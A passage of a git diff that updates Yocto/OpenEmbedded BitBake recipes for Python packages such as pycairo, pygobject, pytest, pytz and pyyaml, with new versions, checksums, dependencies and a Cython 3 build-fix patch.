-SRC_URI[md5sum] = "59bc5c5d1debc3af0f6791af9d612551"
-SRC_URI[sha256sum] = "2c143183280feb67f5beb4e543fd49990c28e7df427301ede04fc550d3562e84"
-
-S = "${WORKDIR}/pycairo-${PV}"
-
-inherit meson pkgconfig
-
-CFLAGS += "-fPIC"
-
-BBCLASSEXTEND = "native"
-
-FILES_${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.26.0.bb b/meta/recipes-devtools/python/python3-pycairo_1.26.0.bb
new file mode 100644
index 0000000000..ea8b81be76
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycairo_1.26.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Python bindings for the Cairo canvas library"
+HOMEPAGE = "http://cairographics.org/pycairo"
+BUGTRACKER = "http://bugs.freedesktop.org"
+SECTION = "python-devel"
+LICENSE = "LGPL-2.1-only & MPL-1.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f3713ca2c28d9312ad718520b6dc3eee \
+ file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
+ file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
+
+# cairo >= 1.14
+DEPENDS = "cairo python3"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/pycairo-${PV}.tar.gz"
+GITHUB_BASE_URI = "https://github.com/pygobject/pycairo/releases/"
+
+SRC_URI[sha256sum] = "2dddd0a874fbddb21e14acd9b955881ee1dc6e63b9c549a192d613a907f9cbeb"
+
+S = "${WORKDIR}/pycairo-${PV}"
+
+inherit meson pkgconfig python3targetconfig github-releases
+
+CFLAGS += "-fPIC"
+
+BBCLASSEXTEND = "native"
+
+FILES:${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycparser_2.21.bb b/meta/recipes-devtools/python/python3-pycparser_2.21.bb
new file mode 100644
index 0000000000..00deceebf9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycparser_2.21.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Parser of the C language, written in pure Python"
+HOMEPAGE = "https://github.com/eliben/pycparser"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2c28cdeabcb88f5843d934381b4b4fea"
+
+SRC_URI[sha256sum] = "e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}:class-target += "\
+ python3-netclient \
+ python3-ply \
+ python3-pprint \
+ "
+
+RSUGGESTS:${PN}:class-target += "\
+ cpp \
+ cpp-symlinks \
+ "
diff --git a/meta/recipes-devtools/python/python3-pycryptodome_3.20.0.bb b/meta/recipes-devtools/python/python3-pycryptodome_3.20.0.bb
new file mode 100644
index 0000000000..d24fa58d43
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodome_3.20.0.bb
@@ -0,0 +1,5 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "09609209ed7de61c2b560cc5c8c4fbf892f8b15b1faf7e4cbffac97db1fffda7"
+
diff --git a/meta/recipes-devtools/python/python3-pycryptodome_3.9.8.bb b/meta/recipes-devtools/python/python3-pycryptodome_3.9.8.bb
deleted file mode 100644
index 46e122072e..0000000000
--- a/meta/recipes-devtools/python/python3-pycryptodome_3.9.8.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require python-pycryptodome.inc
-inherit setuptools3
-
-SRC_URI[sha256sum] = "0e24171cf01021bc5dc17d6a9d4f33a048f09d62cc3f62541e95ef104588bda4"
-
diff --git a/meta/recipes-devtools/python/python3-pycryptodomex_3.20.0.bb b/meta/recipes-devtools/python/python3-pycryptodomex_3.20.0.bb
new file mode 100644
index 0000000000..2673ea8326
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodomex_3.20.0.bb
@@ -0,0 +1,9 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "7a710b79baddd65b806402e14766c721aee8fb83381769c27920f26476276c1e"
+
+FILES:${PN}-tests = " \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/ \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/__pycache__/ \
+"
diff --git a/meta/recipes-devtools/python/python3-pycryptodomex_3.9.8.bb b/meta/recipes-devtools/python/python3-pycryptodomex_3.9.8.bb
deleted file mode 100644
index 035c7fa636..0000000000
--- a/meta/recipes-devtools/python/python3-pycryptodomex_3.9.8.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require python-pycryptodome.inc
-inherit setuptools3
-
-SRC_URI[sha256sum] = "48cc2cfc251f04a6142badeb666d1ff49ca6fdfc303fd72579f62b768aaa52b9"
-
-FILES_${PN}-tests = " \
- ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/ \
- ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/__pycache__/ \
-"
diff --git a/meta/recipes-devtools/python/python3-pyelftools_0.26.bb b/meta/recipes-devtools/python/python3-pyelftools_0.26.bb
deleted file mode 100644
index 575dfc4dc9..0000000000
--- a/meta/recipes-devtools/python/python3-pyelftools_0.26.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-DESCRIPTION = "pyelftools is a pure-Python library for parsing and analyzing ELF files and DWARF debugging information"
-HOMEPAGE = "https://github.com/eliben/pyelftools"
-SECTION = "devel/python"
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5ce2a2b07fca326bc7c146d10105ccfc"
-
-SRC_URI[md5sum] = "0ba0de4b47127249c4d632ae299cb0e8"
-SRC_URI[sha256sum] = "86ac6cee19f6c945e8dedf78c6ee74f1112bd14da5a658d8c9d4103aed5756a2"
-
-PYPI_PACKAGE = "pyelftools"
-
-inherit pypi setuptools3
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-pyelftools_0.31.bb b/meta/recipes-devtools/python/python3-pyelftools_0.31.bb
new file mode 100644
index 0000000000..551fed6876
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyelftools_0.31.bb
@@ -0,0 +1,15 @@
+SUMMARY = "pyelftools is a pure-Python library for parsing and analyzing ELF files and DWARF debugging information"
+HOMEPAGE = "https://github.com/eliben/pyelftools"
+SECTION = "devel/python"
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5ce2a2b07fca326bc7c146d10105ccfc"
+
+SRC_URI[sha256sum] = "c774416b10310156879443b81187d182d8d9ee499660380e645918b50bc88f99"
+
+PYPI_PACKAGE = "pyelftools"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "python3-debugger python3-pprint"
diff --git a/meta/recipes-devtools/python/python3-pygments_2.17.2.bb b/meta/recipes-devtools/python/python3-pygments_2.17.2.bb
new file mode 100644
index 0000000000..8b98064b78
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygments_2.17.2.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Pygments is a syntax highlighting package written in Python."
+DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
+HOMEPAGE = "http://pygments.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=36a13c90514e2899f1eba7f41c3ee592"
+
+inherit python_hatchling
+SRC_URI[sha256sum] = "da46cec9fd2de5be3a8a784f434e4c4ab670b4ff54d605c4c2717e9d49c4c367"
+
+UPSTREAM_CHECK_PYPI_PACKAGE = "Pygments"
+inherit pypi
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/python/python3-pygments_2.6.1.bb b/meta/recipes-devtools/python/python3-pygments_2.6.1.bb
deleted file mode 100644
index bffef59e69..0000000000
--- a/meta/recipes-devtools/python/python3-pygments_2.6.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Pygments is a syntax highlighting package written in Python."
-DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
-HOMEPAGE = "http://pygments.org/"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e1d7b7bffbfeaa14083fd2bd3236aea8"
-
-inherit setuptools3
-SRC_URI[md5sum] = "a48c5219de92f12c41acba814730b31a"
-SRC_URI[sha256sum] = "647344a061c249a3b74e230c739f434d7ea4d8b1d5f3721bc0f3558049b38f44"
-
-DEPENDS += "\
- ${PYTHON_PN} \
- "
-
-PYPI_PACKAGE = "Pygments"
-
-inherit pypi
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/python/python3-pygobject/0001-Do-not-build-tests.patch b/meta/recipes-devtools/python/python3-pygobject/0001-Do-not-build-tests.patch
deleted file mode 100644
index 0f2465bb52..0000000000
--- a/meta/recipes-devtools/python/python3-pygobject/0001-Do-not-build-tests.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From c125a806de951359ab7e302b0584f7c92fa451ad Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 12 Apr 2019 16:25:58 +0200
-Subject: [PATCH] Do not build tests
-
-They require installing tests from g-i, which we do not do.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 278fa16f..aacbd4a2 100644
---- a/meson.build
-+++ b/meson.build
-@@ -175,6 +175,6 @@ configure_file(input : 'PKG-INFO.in',
- subdir('gi')
- subdir('pygtkcompat')
- with_tests = get_option('tests')
--if with_tests
--subdir('tests')
--endif
-+#if with_tests
-+#subdir('tests')
-+#endif
---
-2.17.1
-
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.36.1.bb b/meta/recipes-devtools/python/python3-pygobject_3.36.1.bb
deleted file mode 100644
index 0a34d4373f..0000000000
--- a/meta/recipes-devtools/python/python3-pygobject_3.36.1.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Python GObject bindings"
-SECTION = "devel/python"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase distutils3-base gobject-introspection upstream-version-is-even
-
-DEPENDS += "python3 glib-2.0"
-
-SRCNAME="pygobject"
-
-SRC_URI = " \
- http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz \
- file://0001-Do-not-build-tests.patch \
-"
-SRC_URI[md5sum] = "ebfebc4533856572281add29f08412bf"
-SRC_URI[sha256sum] = "d1bf42802d1cec113b5adaa0e7bf7f3745b44521dc2163588d276d5cd61d718f"
-
-UNKNOWN_CONFIGURE_WHITELIST = "introspection"
-
-S = "${WORKDIR}/${SRCNAME}-${PV}"
-
-PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
-
-RDEPENDS_${PN} += "python3-pkgutil"
-
-# python3-pycairo is checked on configuration -> DEPENDS
-# we don't link against python3-pycairo -> RDEPENDS
-PACKAGECONFIG[cairo] = "-Dpycairo=true,-Dpycairo=false, cairo python3-pycairo, python3-pycairo"
-
-BBCLASSEXTEND = "native"
-PACKAGECONFIG_class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.48.1.bb b/meta/recipes-devtools/python/python3-pygobject_3.48.1.bb
new file mode 100644
index 0000000000..4754e41c04
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygobject_3.48.1.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Python GObject bindings"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/pygobject"
+DESCRIPTION = "PyGObject is a Python package which provides bindings for GObject based libraries such as GTK, GStreamer, WebKitGTK, GLib, GIO and many more."
+SECTION = "devel/python"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+GIR_MESON_OPTION = ""
+
+inherit gnomebase setuptools3-base gobject-introspection upstream-version-is-even
+
+python() {
+ if d.getVar('CLASSOVERRIDE') == "class-target" and not bb.utils.to_boolean(d.getVar("GI_DATA_ENABLED")):
+ raise bb.parse.SkipRecipe("GI not available")
+}
+
+DEPENDS += "python3 glib-2.0"
+
+SRCNAME="pygobject"
+
+SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "3a0a2c0c0f25931b5840649c54834b9e58a63148d37fa9f6308887b7027e15c2"
+
+S = "${WORKDIR}/${SRCNAME}-${PV}"
+
+PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
+
+RDEPENDS:${PN} += " \
+ python3-io \
+ python3-pkgutil \
+"
+
+# python3-pycairo is checked on configuration -> DEPENDS
+# we don't link against python3-pycairo -> RDEPENDS
+PACKAGECONFIG[cairo] = "-Dpycairo=enabled,-Dpycairo=disabled, cairo python3-pycairo, python3-pycairo"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,"
+
+BBCLASSEXTEND = "native"
+PACKAGECONFIG:class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pyopenssl_24.1.0.bb b/meta/recipes-devtools/python/python3-pyopenssl_24.1.0.bb
new file mode 100644
index 0000000000..e714ad838e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyopenssl_24.1.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Simple Python wrapper around the OpenSSL library"
+HOMEPAGE = "https://pyopenssl.org/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+DEPENDS += "openssl python3-cryptography"
+
+SRC_URI[sha256sum] = "cabed4bfaa5df9f1a16c0ef64a0cb65318b5cd077a7eda7d6970131ca2f41a6f"
+
+PYPI_PACKAGE = "pyOpenSSL"
+inherit pypi setuptools3
+
+PACKAGES =+ "${PN}-tests"
+FILES:${PN}-tests = "${libdir}/${PYTHON_DIR}/site-packages/OpenSSL/test"
+
+RDEPENDS:${PN}:class-target = " \
+ python3-cryptography \
+ python3-six \
+ python3-threading \
+"
+RDEPENDS:${PN}-tests = "${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb b/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb
deleted file mode 100644
index d0c3d0b424..0000000000
--- a/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-pyparsing.inc
-
diff --git a/meta/recipes-devtools/python/python3-pyparsing_3.1.2.bb b/meta/recipes-devtools/python/python3-pyparsing_3.1.2.bb
new file mode 100644
index 0000000000..64210ade53
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyparsing_3.1.2.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Python parsing module"
+DESCRIPTION = "The pyparsing module is an alternative approach to creating \
+and executing simple grammars, vs. the traditional lex/yacc approach, or \
+the use of regular expressions. The pyparsing module provides a library of \
+classes that client code uses to construct the grammar directly in Python \
+code."
+HOMEPAGE = "https://github.com/pyparsing/pyparsing/"
+BUGTRACKER = "https://github.com/pyparsing/pyparsing/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=657a566233888513e1f07ba13e2f47f1"
+
+SRC_URI[sha256sum] = "a1bac0ce561155ecc3ed78ca94d3c9378656ad4c94c1270de543f621420f94ad"
+
+UPSTREAM_CHECK_REGEX = "pyparsing-(?P<pver>.*)\.tar"
+
+inherit pypi python_flit_core
+
+RDEPENDS:${PN} += " \
+ python3-datetime \
+ python3-debugger \
+ python3-html \
+ python3-json \
+ python3-netclient \
+ python3-pprint \
+ python3-stringold \
+ python3-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyproject-hooks_1.0.0.bb b/meta/recipes-devtools/python/python3-pyproject-hooks_1.0.0.bb
new file mode 100644
index 0000000000..9d08e7acc4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyproject-hooks_1.0.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "A low-level library for calling build-backends in pyproject.toml-based projects"
+HOMEPAGE = "https://github.com/pypa/pyproject-hooks"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aad69c93f605003e3342b174d9b0708c"
+
+SRC_URI[sha256sum] = "f271b298b97f5955d53fb12b72c1fb1948c22c1a6b70b315c54cedaca0264ef5"
+
+inherit pypi python_flit_core
+
+PYPI_PACKAGE = "pyproject_hooks"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Bootstrap the native build
+DEPENDS:remove:class-native = "python3-build-native"
+
+RDEPENDS:${PN} += " \
+ python3-io \
+ python3-json \
+"
+
+do_compile:class-native () {
+ python_flit_core_do_manual_build
+}
+
+UPSTREAM_CHECK_PYPI_PACKAGE = "${PYPI_PACKAGE}"
diff --git a/meta/recipes-devtools/python/python3-pyproject-metadata_0.7.1.bb b/meta/recipes-devtools/python/python3-pyproject-metadata_0.7.1.bb
new file mode 100644
index 0000000000..8b9549f3d0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyproject-metadata_0.7.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "PEP 621 metadata parsing"
+DESCRIPTION = "Dataclass for PEP 621 metadata with support for core \
+metadata generation \
+\
+This project does not implement the parsing of pyproject.toml containing \
+PEP 621 metadata.\
+\
+Instead, given a Python data structure representing PEP 621 metadata \
+(already parsed), it will validate this input and generate a \
+PEP 643-compliant metadata file (e.g. PKG-INFO)."
+HOMEPAGE = "https://github.com/FFY00/python-pyproject-metadata"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=310439af287b0fb4780b2ad6907c256c"
+
+PYPI_PACKAGE = "pyproject-metadata"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI[sha256sum] = "0a94f18b108b9b21f3a26a3d541f056c34edcb17dc872a144a15618fed7aef67"
+
+RDEPENDS:${PN} += " \
+ python3-logging \
+ python3-packaging \
+ python3-profile \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb b/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb
new file mode 100644
index 0000000000..7de70942a9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Persistent/Immutable/Functional data structures for Python"
+HOMEPAGE = "https://github.com/tobgu/pyrsistent"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.mit;md5=f798dc4222a29fea881fa998cdf4a8c8"
+
+SRC_URI[sha256sum] = "4c48f78f62ab596c679086084d0dd13254ae4f3d6c72a83ffdf5ebdef8f265a4"
+
+inherit pypi python_setuptools_build_meta
+
+RDEPENDS:${PN} += " \
+ python3-numbers \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pysocks_1.7.1.bb b/meta/recipes-devtools/python/python3-pysocks_1.7.1.bb
new file mode 100644
index 0000000000..7f2c217f19
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pysocks_1.7.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "A Python SOCKS client module"
+HOMEPAGE = "http://python-requests.org"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1d457bcffb9661b45f799d4efee72f16"
+
+SRC_URI[md5sum] = "89b1a6865c61bae67a32417517612ee6"
+SRC_URI[sha256sum] = "3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0"
+
+PYPI_PACKAGE = "PySocks"
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += "\
+ python3-email \
+ python3-io \
+ python3-logging \
+ python3-netclient \
+ python3-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest-runner_6.0.1.bb b/meta/recipes-devtools/python/python3-pytest-runner_6.0.1.bb
new file mode 100644
index 0000000000..cce9ce33e2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest-runner_6.0.1.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Invoke py.test as distutils command with dependency resolution"
+HOMEPAGE = "https://pypi.org/project/pytest-runner/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7a7126e068206290f3fe9f8d6c713ea6"
+
+SRC_URI[sha256sum] = "70d4739585a7008f37bf4933c013fdb327b8878a5a69fcbb3316c88882f0f49b"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += " \
+ python3-setuptools-scm-native"
+
+RDEPENDS:${PN} = "python3-py python3-setuptools python3-debugger python3-json \
+ python3-io"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest-subtests_0.12.1.bb b/meta/recipes-devtools/python/python3-pytest-subtests_0.12.1.bb
new file mode 100644
index 0000000000..0590be705f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest-subtests_0.12.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "unittest subTest() support and subtests fixture."
+DESCRIPTION = "Adds support for TestCase.subTest.\
+New subtests fixture, providing similar functionality for pure pytest tests."
+HOMEPAGE = "https://github.com/pytest-dev/pytest-subtests"
+BUGTRACKER = "https://github.com/pytest-dev/pytest-subtests/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=242b4e17fa287dcf7aef372f6bc3dcb1"
+
+SRC_URI[sha256sum] = "d6605dcb88647e0b7c1889d027f8ef1c17d7a2c60927ebfdc09c7b0d8120476d"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += "python3-setuptools-scm-native"
+
+RDEPENDS:${PN} += " \
+ python3-pytest \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest_8.1.1.bb b/meta/recipes-devtools/python/python3-pytest_8.1.1.bb
new file mode 100644
index 0000000000..b1cf23fbc4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest_8.1.1.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Simple powerful testing with python"
+HOMEPAGE = "https://pypi.org/project/pytest/"
+DESCRIPTION = "The pytest framework makes it easy to write small tests, yet scales to support complex functional testing for applications and libraries."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=bd27e41b6550fe0fc45356d1d81ee37c"
+
+SRC_URI[sha256sum] = "ac978141a75948948817d360297b7aae0fcb9d6ff6bc9ec6d514b85d5a65c044"
+
+DEPENDS += "python3-setuptools-scm-native"
+
+inherit update-alternatives pypi python_setuptools_build_meta
+
+RDEPENDS:${PN} += " \
+ python3-atomicwrites \
+ python3-attrs \
+ python3-debugger \
+ python3-doctest \
+ python3-importlib-metadata \
+ python3-iniconfig \
+ python3-json \
+ python3-more-itertools \
+ python3-packaging \
+ python3-pathlib2 \
+ python3-pluggy \
+ python3-py \
+ python3-setuptools \
+ python3-six \
+ python3-tomllib \
+ python3-wcwidth \
+"
+
+ALTERNATIVE:${PN} += "py.test pytest"
+
+NATIVE_LINK_NAME[pytest] = "${bindir}/pytest"
+ALTERNATIVE_TARGET[pytest] = "${bindir}/pytest"
+
+ALTERNATIVE_LINK_NAME[py.test] = "${bindir}/py.test"
+ALTERNATIVE_TARGET[py.test] = "${bindir}/py.test"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytz/run-ptest b/meta/recipes-devtools/python/python3-pytz/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytz/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-pytz_2024.1.bb b/meta/recipes-devtools/python/python3-pytz_2024.1.bb
new file mode 100644
index 0000000000..158e800fed
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytz_2024.1.bb
@@ -0,0 +1,36 @@
+SUMMARY = "World timezone definitions, modern and historical"
+HOMEPAGE = "http://pythonhosted.org/pytz"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=1a67fc46c1b596cce5d21209bbe75999"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI[sha256sum] = "2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"
+
+RDEPENDS:${PN}:class-target += "\
+ python3-datetime \
+ python3-doctest \
+ python3-io \
+ python3-pickle \
+ python3-pprint \
+ python3-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/pytz
+ install -d ${D}${PTEST_PATH}/pytz/tests
+ cp -rf ${S}/pytz/tests/* ${D}${PTEST_PATH}/pytz/tests/
+ cp -f ${S}/README.rst ${D}${PTEST_PATH}/
+
+}
diff --git a/meta/recipes-devtools/python/python3-pyyaml/0001-Fix-builds-with-Cython-3.patch b/meta/recipes-devtools/python/python3-pyyaml/0001-Fix-builds-with-Cython-3.patch
new file mode 100644
index 0000000000..a87d588b6a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyyaml/0001-Fix-builds-with-Cython-3.patch
@@ -0,0 +1,54 @@
+From 9cc23db56add79357b8f8257fe6fc0d6879d4579 Mon Sep 17 00:00:00 2001
+From: "Andrew J. Hesford" <ajh@sideband.org>
+Date: Fri, 21 Jul 2023 09:50:00 -0400
+Subject: [PATCH] Fix builds with Cython 3
+
+This is a *de minimis* fix for building with Cython 3. Recent Cython<3
+releases provided `Cython.Distutils.build_ext` as an alias to
+`Cython.Distutils.old_build_ext.old_build_ext`; Cython 3 drops this
+alias and instead uses a wholly new `Cython.Distutils.build_ext` that
+does not provide the `cython_sources` function used in `setup.py`.
+
+Explicitly importing `old_build_ext` preserves the existing behavior for
+recent Cython<3 and uses the correct behavior for Cython 3. Should the
+import fail (*e.g.*, because the version of Cython available predates
+the availability of `old_build_ext`), the import falls back to just
+`Cython.Distutils.build_ext`.
+
+Signed-off-by: Andrew J. Hesford <ajh@sideband.org>
+Upstream-Status: Denied [https://github.com/yaml/pyyaml/pull/731]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ pyproject.toml | 2 +-
+ setup.py | 6 +++++-
+ 2 files changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/pyproject.toml b/pyproject.toml
+index 4bc04c0..2bf5ec8 100644
+--- a/pyproject.toml
++++ b/pyproject.toml
+@@ -1,3 +1,3 @@
+ [build-system]
+-requires = ["setuptools", "wheel", "Cython<3.0"]
++requires = ["setuptools", "wheel", "Cython"]
+ build-backend = "setuptools.build_meta"
+diff --git a/setup.py b/setup.py
+index 65b0ea0..4461580 100644
+--- a/setup.py
++++ b/setup.py
+@@ -82,7 +82,11 @@ if 'sdist' in sys.argv or os.environ.get('PYYAML_FORCE_CYTHON') == '1':
+ with_cython = True
+ try:
+ from Cython.Distutils.extension import Extension as _Extension
+- from Cython.Distutils import build_ext as _build_ext
++ try:
++ from Cython.Distutils.old_build_ext import old_build_ext as _build_ext
++ except ImportError:
++ from Cython.Distutils import build_ext as _build_ext
++
+ with_cython = True
+ except ImportError:
+ if with_cython:
+--
+2.39.2
+
diff --git a/meta/recipes-devtools/python/python3-pyyaml/run-ptest b/meta/recipes-devtools/python/python3-pyyaml/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyyaml/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-pyyaml_6.0.1.bb b/meta/recipes-devtools/python/python3-pyyaml_6.0.1.bb
new file mode 100644
index 0000000000..3388312557
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyyaml_6.0.1.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Python support for YAML"
+DEPENDS += "libyaml python3-cython-native"
+HOMEPAGE = "https://pyyaml.org/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6d8242660a8371add5fe547adf083079"
+
+PYPI_PACKAGE = "PyYAML"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI += "file://0001-Fix-builds-with-Cython-3.patch"
+SRC_URI[sha256sum] = "bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43"
+
+PACKAGECONFIG ?= "libyaml"
+PACKAGECONFIG[libyaml] = "--with-libyaml,--without-libyaml,libyaml"
+
+RDEPENDS:${PN} += "\
+ python3-datetime \
+ python3-netclient \
+"
+
+inherit ptest
+SRC_URI += "\
+ https://raw.githubusercontent.com/yaml/pyyaml/a98fd6088e81d7aca571220c966bbfe2ac43c335/tests/test_dump_load.py;name=test \
